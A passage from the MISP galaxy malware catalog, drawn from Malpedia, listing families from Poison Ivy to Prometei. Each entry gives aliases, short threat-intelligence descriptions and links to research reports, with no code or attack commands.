https://cloud.google.com/blog/topics/threat-intelligence/scatterbrain-unmasking-poisonplug-obfuscator

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html

Poison Ivy

The tag is: *misp-galaxy:malpedia="Poison Ivy"*

Poison Ivy is also known as:

- SPIVY
- pivy
- poisonivy

Table 4781. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy
https://www.youtube.com/watch?v=1WfPlgtfWnQ
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2011/the_nitro_attacks.pdf
https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2016/2016.04.26.New_Poison_Ivy_Activity_Targeting_Myanmar_Asian_Countries/New%20Poison%20Ivy%20Activity%20Targeting%20Myanmar%2C%20Asian%20Countries.pdf
https://www.secureworks.com/research/threat-profiles/bronze-riverside
https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf
https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf
https://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/
https://vblocalhost.com/uploads/VB2020-20.pdf
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/
https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html

https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/

https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf

https://www.secureworks.com/research/threat-profiles/bronze-union

https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf

https://lab52.io/blog/icefog-apt-group-abusing-recent-conflict-between-iran-and-eeuu/

https://unit42.paloaltonetworks.com/atoms/crawling-taurus/

https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers

https://us-cert.cisa.gov/ncas/alerts/aa20-275a

https://www.secureworks.com/research/threat-profiles/bronze-firestone

https://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug-using-poison-ivy/

http://blog.fortinet.com/2017/08/23/deep-analysis-of-new-poison-ivy-variant

https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology

http://blogs.360.cn/post/APT_C_01_en.html

https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf

http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf

https://unit42.paloaltonetworks.com/atoms/shallowtaurus/

https://www.secureworks.com/research/threat-profiles/bronze-keystone

https://www.youtube.com/watch?v=YCwyc6SctYs

https://engineers.ffri.jp/entry/2022/11/30/141346

https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-GuPan.pdf

https://www.secureworks.com/research/threat-profiles/aluminum-saratoga

https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html

https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

https://blog.fortinet.com/2017/09/15/deep-analysis-of-new-poison-ivy-plugx-variant-part-ii

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/

https://community.riskiq.com/article/56fa1b2f

https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html

https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/

https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html
https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/analysing-a-recent-poison-ivy-sample/
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/
https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.recordedfuture.com/china-linked-ta428-threat-group
https://www.slideshare.net/StefanoMaccaglia/bsides-ir-in-heterogeneous-environment
https://attack.mitre.org/groups/G0011
https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-vine-climbing-over-great-firewall-longterm-attack-against-china/

Poison RAT

The tag is: *misp-galaxy:malpedia="Poison RAT"*

Poison RAT is also known as:

Table 4782. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_rat
https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/

Poldat

The tag is: *misp-galaxy:malpedia="Poldat"*

Poldat is also known as:

- KABOB
- Zlib

Table 4783. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poldat
http://fireeyeday.com/1604/pdf/KeyNote_2.pdf
https://youtu.be/DDA2uSxjVWY?t=344

https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf

PolPo

The tag is: *misp-galaxy:malpedia="PolPo"*

PolPo is also known as:

Table 4784. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.polpo
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/?utm_source=rss&utm_medium=rss&utm_campaign=apt-group-targeting-governmental-agencies-in-east-asia

PolyglotDuke

The tag is: *misp-galaxy:malpedia="PolyglotDuke"*

PolyglotDuke is also known as:

Table 4785. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglotduke
https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/
https://www.secureworks.com/research/threat-profiles/iron-hemlock
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.welivesecurity.com/2019/10/17/operation-ghost-dukes-never-left/

Polyglot

The tag is: *misp-galaxy:malpedia="Polyglot"*

Polyglot is also known as:

Table 4786. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglot_ransom
https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/

PolyVice

The tag is: *misp-galaxy:malpedia="PolyVice"*

PolyVice is also known as:

- Chily

Table 4787. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.polyvice
https://www.intrinsec.com/vice-society-spreads-its-own-ransomware/
https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/
https://detect.fyi/rhysida-ransomware-and-the-detection-opportunities-3599e9a02bb2

Pony

According to KnowBe4, Pony Stealer is a password stealer that can decrypt or unlock passwords for over 110 different applications including VPN, FTP, email, instant messaging, web browsers and much more. Pony Stealer is very dangerous and once it infects a PC it will turn the device into a botnet, allowing it to use the PCs it infects to infect other PCs.

The tag is: *misp-galaxy:malpedia="Pony"*

Pony is also known as:

- Fareit
- Siplog

Table 4788. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pony
https://www.secureworks.com/research/threat-profiles/gold-essex
https://int0xcc.svbtle.com/practical-threat-hunting-and-incidence-response-a-case-of-a-pony-malware-infection
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://www.secureworks.com/research/threat-profiles/gold-evergreen
https://www.youtube.com/watch?v=EyDiIAtdI
https://www.uperesia.com/analysis-of-a-packed-pony-downloader

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.youtube.com/watch?v=42yldTQ-fWA
https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/
http://www.secureworks.com/research/threat-profiles/gold-evergreen
https://intel471.com/blog/a-brief-history-of-ta505
https://www.secureworks.com/research/threat-profiles/gold-galleon
https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf
http://www.secureworks.com/research/threat-profiles/gold-galleon
https://www.knowbe4.com/pony-stealer
https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf
http://www.secureworks.com/research/threat-profiles/gold-essex
https://github.com/nyx0/Pony
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/
https://www.youtube.com/watch?v=y8Z9KnL8s8s

PoohMilk Loader

The tag is: *misp-galaxy:malpedia="PoohMilk Loader"*

PoohMilk Loader is also known as:

Table 4789. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/

POORTRY

According to Mandiant, POORTRY is a malware written as a driver, signed with a Microsoft Windows Hardware Compatibility Authenticode signature. This malware has been observed being used by UNC3944.

The tag is: *misp-galaxy:malpedia="POORTRY"*

POORTRY is also known as:

Table 4790. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poortry
https://www.bleepingcomputer.com/news/security/poortry-windows-driver-evolves-into-a-full-featured-edr-wiper/
https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware
https://www.trellix.com/about/newsroom/stories/research/scattered-spider-the-modus-operandi/
http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa
https://www.rapid7.com/blog/post/scattered-spider-rapid7-insights-observations-and-recommendations/
https://blog.bushidotoken.net/2023/08/tracking-adversaries-scattered-spider.html
https://acsense.com/blog/a-guide-to-scattered-spider-data-breaches/
https://www.quorumcyber.com/threat-actors/scattered-spider-threat-actor-profile/

PoorWeb

The tag is: *misp-galaxy:malpedia="PoorWeb"*

PoorWeb is also known as:

Table 4791. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poorweb
https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/
https://blog.reversinglabs.com/blog/poorweb-exploiting-document-formats
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf
https://asec.ahnlab.com/ko/18796/
https://fortiguard.com/resources/threat-brief/2019/05/10/fortiguard-threat-intelligence-brief-may-10-2019
https://securelist.com/apt-trends-report-q2-2018/86487/

Popcorn Time

The tag is: *misp-galaxy:malpedia="Popcorn Time"*

Popcorn Time is also known as:

Table 4792. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.popcorn_time

PortDoor

The tag is: *misp-galaxy:malpedia="PortDoor"*

PortDoor is also known as:

Table 4793. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.portdoor
https://www.cybereason.com/blog/research/portdoor-new-chinese-apt-backdoor-attack-targets-russian-defense-sector
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf
https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba
https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/

portless

The tag is: *misp-galaxy:malpedia="portless"*

portless is also known as:

Table 4794. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.portless
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134508/winnti-more-than-just-a-game-130410.pdf

PortStarter

The tag is: *misp-galaxy:malpedia="PortStarter"*

PortStarter is also known as:

Table 4795. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.portstarter

https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/

poscardstealer

The tag is: *misp-galaxy:malpedia="poscardstealer"*

poscardstealer is also known as:

Table 4796. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer
http://pages.arbornetworks.com/rs/arbor/images/ASERT%20Threat%20Intelligence%20Brief%202014-06%20Uncovering%20PoS%20Malware%20and%20Attack%20Campaigns.pdf

PoshC2

PoshC2 is a proxy aware C2 framework used to aid penetration testers with red teaming, post-exploitation and lateral movement.

PoshC2 is primarily written in Python3 and follows a modular format to enable users to add their own modules and tools, allowing an extendible and flexible C2 framework. Out-of-the-box PoshC2 comes PowerShell/C# and Python3 implants with payloads written in PowerShell v2 and v4, C++ and C# source code, a variety of executables, DLLs and raw shellcode in addition to a Python3 payload. These enable C2 functionality on a wide range of devices and operating systems, including Windows, *nix and OSX.

The tag is: *misp-galaxy:malpedia="PoshC2"*

PoshC2 is also known as:

Table 4797. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poshc2
https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/
https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html
https://redcanary.com/blog/getsystem-offsec/
https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/poshc2_apt_33.md
https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f
https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf

https://paper.seebug.org/1301/
https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf
https://blogs.vmware.com/security/2020/09/detecting-threats-in-real-time-with-active-c2-information.html
https://github.com/nettitude/PoshC2_Python/
https://ti.dbappsecurity.com.cn/blog/articles/2021/09/06/operation-maskface/
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
https://censys.com/russian-ransomware-c2-network-discovered-in-censys-data/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf
https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html
http://www.rewterz.com/rewterz-news/rewterz-threat-alert-iranian-apt-uses-job-scams-to-lure-targets
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_9_takeda_furukawa_en.pdf

PoSlurp

The tag is: *misp-galaxy:malpedia="PoSlurp"*

PoSlurp is also known as:

- PUNCHTRACK

Table 4798. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poslurp
https://norfolkinfosec.com/fuel-pumps-ii-poslurp-b/
https://www.root9b.com/sites/default/files/whitepapers/PoS%20Malware%20ShellTea%20PoSlurp.pdf
https://twitter.com/just_windex/status/1162118585805758464
https://atr-blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/

PostNapTea

PostNapTea aka SIGNBT is an HTTP(S) RAT that is written as a complex object-oriented project.

In 2022-2023, it was deployed against targets like a newspaper organization, agriculture-related entity or a software vendor. The initial access was usually achieved by exploiting vulnerabilities in

widely-used software in South Korea.

It collects various information about the victim's computer, such as computer name, product name, OS details, system uptime, CPU information, system locale, time zone, network status, and malware configuration.

PostNapTea uses AES for encryption and decryption ot network traffic. There is a constant prefix SIGNBT occuring in its HTTP POST requests. The prefix is concatenated with 2 characters that identify the communication stage: • LG: logging into the C&C server • KE: acknowledging the succesful login to the C&C • FI: sending the status of a failed operation • SR: sending the status of a successful operation • GC: getting the next command

There are five classes that represent command groups: • CCButton: for file manipulation and screen capturing • CCBitmap: for network commands, implementing functionality of Windows commands often abused by attackers, like sc, reg, arp, net, ver, wmic, ping, whoami, netstat, tracert, lookup, ipconfig, systeminfo, and netsh advfirewall. • CCComboBox: for file system management • CCList: for process management • CCBrush: for control of the malware itself

It stores its configuration in JSON format. It resolves the Windows APIs it requires during runtime, via the Fowler–Noll–Vo (FNV) hash function.

Its internal name in the version-information resource is usually ppcsnap.dll or pconsnap.dll, which loosely inspired its code name.

The tag is: *misp-galaxy:malpedia="PostNapTea"*

PostNapTea is also known as:

- SIGNBT

Table 4799. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.postnaptea
https://securelist.com/operation-synchole-watering-hole-attacks-by-lazarus/116326/
https://securelist.com/unveiling-lazarus-new-campaign/110888/
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf
https://www.wiz.io/blog/north-korean-tradertraitor-crypto-heist

Poulight Stealer

The tag is: *misp-galaxy:malpedia="Poulight Stealer"*

Poulight Stealer is also known as:

- Poullight

Table 4800. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poulight_stealer
https://blog.360totalsecurity.com/en/a-txt-file-can-steal-all-your-secrets/?web_view=true
https://twitter.com/MBThreatIntel/status/1240389621638402049?s=20
https://www.youtube.com/watch?v=MaPXDCq-Gf4
https://www.carbonblack.com/blog/tau-threat-discovery-cryptocurrency-clipper-malware-evolves/

Povlsomware

According to Trend Micro, Povlsomware (Ransom.MSIL.POVLSOM.THBAOBA) is a proof-of-concept (POC) ransomware first released in November 2020 which, according to their Github page, is used to “securely” test the ransomware protection capabilities of security vendor products.

The tag is: *misp-galaxy:malpedia="Povlsomware"*

Povlsomware is also known as:

Table 4801. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.povlsomware
https://www.trendmicro.com/en_us/research/21/c/povlsomware-ransomware-features-cobalt-strike-compatibility.html
https://youtu.be/oYLs6wuoOfg

Poweliks

The tag is: *misp-galaxy:malpedia="Poweliks"*

Poweliks is also known as:

Table 4802. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poweliks
https://www.gdatasoftware.com/blog/2014/07/23947-poweliks-the-persistent-malware-without-a-file
https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/
https://www.zscaler.com/blogs/research/malvertising-targeting-european-transit-users

POWERBAND

NET variant of ps1.powerton.

The tag is: *misp-galaxy:malpedia="POWERBAND"*

POWERBAND is also known as:

Table 4803. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerband
https://blog.telsy.com/meeting-powerband-the-apt33-net-powerton-variant/

PowerCat

The tag is: *misp-galaxy:malpedia="PowerCat"*

PowerCat is also known as:

Table 4804. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powercat
https://twitter.com/VK_Intel/status/1141540229951709184
https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/

PowerDuke

The tag is: *misp-galaxy:malpedia="PowerDuke"*

PowerDuke is also known as:

Table 4805. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke
https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
https://cocomelonc.github.io/malware/2023/07/26/malware-tricks-35.html

powerkatz

The tag is: *misp-galaxy:malpedia="powerkatz"*

powerkatz is also known as:

Table 4806. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.powerkatz
https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/

PowerLoader

The tag is: *misp-galaxy:malpedia="PowerLoader"*

PowerLoader is also known as:

Table 4807. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerloader
https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html

PowerPool

The tag is: *misp-galaxy:malpedia="PowerPool"*

PowerPool is also known as:

Table 4808. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerpool
https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/

PowerShellRunner

The tag is: *misp-galaxy:malpedia="PowerShellRunner"*

PowerShellRunner is also known as:

Table 4809. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powershellrunner
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-04-13-Possible-Turla-PowerShell-Implant.ps1

Powersniff

A malware of the gozi group, developed on the base of isfb. It uses Office Macros and PowerShell in documents distributed in e-mail messages.

The tag is: *misp-galaxy:malpedia="Powersniff"*

Powersniff is also known as:

- PUNCHBUGGY

Table 4810. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff
https://unit42.paloaltonetworks.com/powersniff-malware-used-in-macro-based-attacks/
https://lokalhost.pl/gozi_tree.txt
https://atr-blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/
https://content.fireeye.com/m-trends/rpt-m-trends-2017
https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf

PowerRatankba

QUICKRIDE.POWER is a PowerShell variant of the QUICKRIDE backdoor. Its payloads are often saved to C:\windows\temp\

The tag is: *misp-galaxy:malpedia="PowerRatankba"*

PowerRatankba is also known as:

- QUICKRIDE.POWER

Table 4811. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.power_ratankba
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf
https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/
https://www.flashpoint-intel.com/blog/disclosure-chilean-redbanc-intrusion-lazarus-ties/
https://content.fireeye.com/apt/rpt-apt38
https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/

prb_backdoor

The tag is: *misp-galaxy:malpedia="prb_backdoor"*

prb_backdoor is also known as:

Table 4812. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prb_backdoor
https://sec0wn.blogspot.com/2018/05/prb-backdoor-fully-loaded-powershell.html

Predator The Thief

Predator is a feature-rich information stealer. It is sold on hacking forums as a bundle which includes: Payload builder and Command and Control web panel. It is able to grab passwords from browsers, replace cryptocurrency wallets, and take photos from the web-camera. It is developed by using a modular approach so that criminals may add more sophisticated tools on top of the it.

The tag is: *misp-galaxy:malpedia="Predator The Thief"*

Predator The Thief is also known as:

Table 4813. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.predator
https://www.fortinet.com/blog/threat-research/predator-the-thief-new-routes-delivery.html
https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/
https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.secureworks.com/research/threat-profiles/gold-galleon
https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf
https://securelist.com/a-predatory-tale/89779
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://fumik0.com/2019/12/25/lets-play-again-with-predator-the-thief/

Prestige

According to PCrisk, Prestige is ransomware - malware that prevents victims from accessing (opening) their files by encrypting them. Additionally, Prestige appends the ".enc" extension to filenames and drops the "README" file containing a ransom note. An example of how this

ransomware modifies filenames: it renames "1.jpg" to "1.jpg.enc", "2.png" to "2.png.enc", and so forth.

The tag is: *misp-galaxy:malpedia="Prestige"*

Prestige is also known as:

Table 4814. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prestige
https://www.microsoft.com/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/
https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/

Prikormka

The tag is: *misp-galaxy:malpedia="Prikormka"*

Prikormka is also known as:

Table 4815. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prikormka
https://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf
https://securelist.com/cloudwizard-apt/109722/

Prilex

The tag is: *misp-galaxy:malpedia="Prilex"*

Prilex is also known as:

Table 4816. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prilex
https://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/
https://www.kaspersky.com/blog/chip-n-pin-cloning/21502

PrincessLocker

The tag is: *misp-galaxy:malpedia="PrincessLocker"*

PrincessLocker is also known as:

Table 4817. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.princess_locker
https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/
https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/
https://www.bleepingcomputer.com/news/security/introducing-her-royal-highness-the-princess-locker-ransomware/

PrivateLoader

According to sekoia, PrivateLoader is a modular malware whose main capability is to download and execute one or several payloads. The loader implements anti-analysis techniques, fingerprints the compromised host and reports statistics to its C2 server.

The tag is: *misp-galaxy:malpedia="PrivateLoader"*

PrivateLoader is also known as:

Table 4818. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader
https://www.bitsight.com/blog/unpacking-colibri-loader-russian-apt-linked-campaign
https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html
https://de.darktrace.com/blog/privateloader-network-based-indicators-of-compromise
https://www.zscaler.com/blogs/security-research/peeking-privateloader
https://embee-research.ghost.io/identifying-privateloader-servers-with-censys/
https://any.run/cybersecurity-blog/crackedcantil-breakdown/
https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey
https://tavares.re/blog/2022/06/06/hunting-privateloader-pay-per-install-service/
https://www.bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey
https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service
https://www.bitsight.com/blog/zero-50k-infections-pseudomanuscrypt-sinkholing-part-1
https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/
https://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service
https://www.youtube.com/watch?v=Ldp7eESQotM

https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem
https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://intel471.com/blog/privateloader-malware
https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f
https://github.com/LambdaMamba/LenaMalwareAnalysis/tree/main/PrivateLoader
https://any.run/cybersecurity-blog/privateloader-analyzing-the-encryption-and-decryption-of-a-modern-loader/
https://www.intrinsec.com/wp-content/uploads/2024/12/TLP-CLEAR-CryptBot-Hunting-for-intial-access-vectors.pdf

PRIVATELOG

Malware that abuses the Common Log File System (CLFS) to store/hide a second stage payload via registry transaction files.

The tag is: *misp-galaxy:malpedia="PRIVATELOG"*

PRIVATELOG is also known as:

Table 4819. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.privatelog
https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive
https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html
https://twitter.com/ESETresearch/status/1433819369784610828
https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques

Project Hook POS

The tag is: *misp-galaxy:malpedia="Project Hook POS"*

Project Hook POS is also known as:

Table 4820. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.project_hook
https://threatpost.com/dexter-project-hook-pos-malware-campaigns-persist/104655/

ProjectWood

The tag is: *misp-galaxy:malpedia="ProjectWood"*

ProjectWood is also known as:

Table 4821. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.project_wood
https://www.sans.org/white-papers/33814/
https://public.gdatasoftware.com/Presse/Publikationen/Whitepaper/EN/GDATA_TooHash_CaseStudy_102014_EN_v1.pdf
https://www.welivesecurity.com/en/eset-research/nspx30-sophisticated-aitm-enabled-implant-evolving-since-2005/
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_2_facundo_en.pdf

Prometei (Windows)

According to Lior Rochberger, Cybereason, prometei is a modular and multi-stage cryptocurrency botnet. It was discovered in July 2020, Cybereason Nocturnus team found evidence that this Prometei has been evolved since 2016. There are Linux and Windows versions of this malware.

The tag is: *misp-galaxy:malpedia="Prometei (Windows)"*

Prometei (Windows) is also known as:

Table 4822. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prometei
https://twitter.com/honeymoon_ioc/status/1494016518694309896
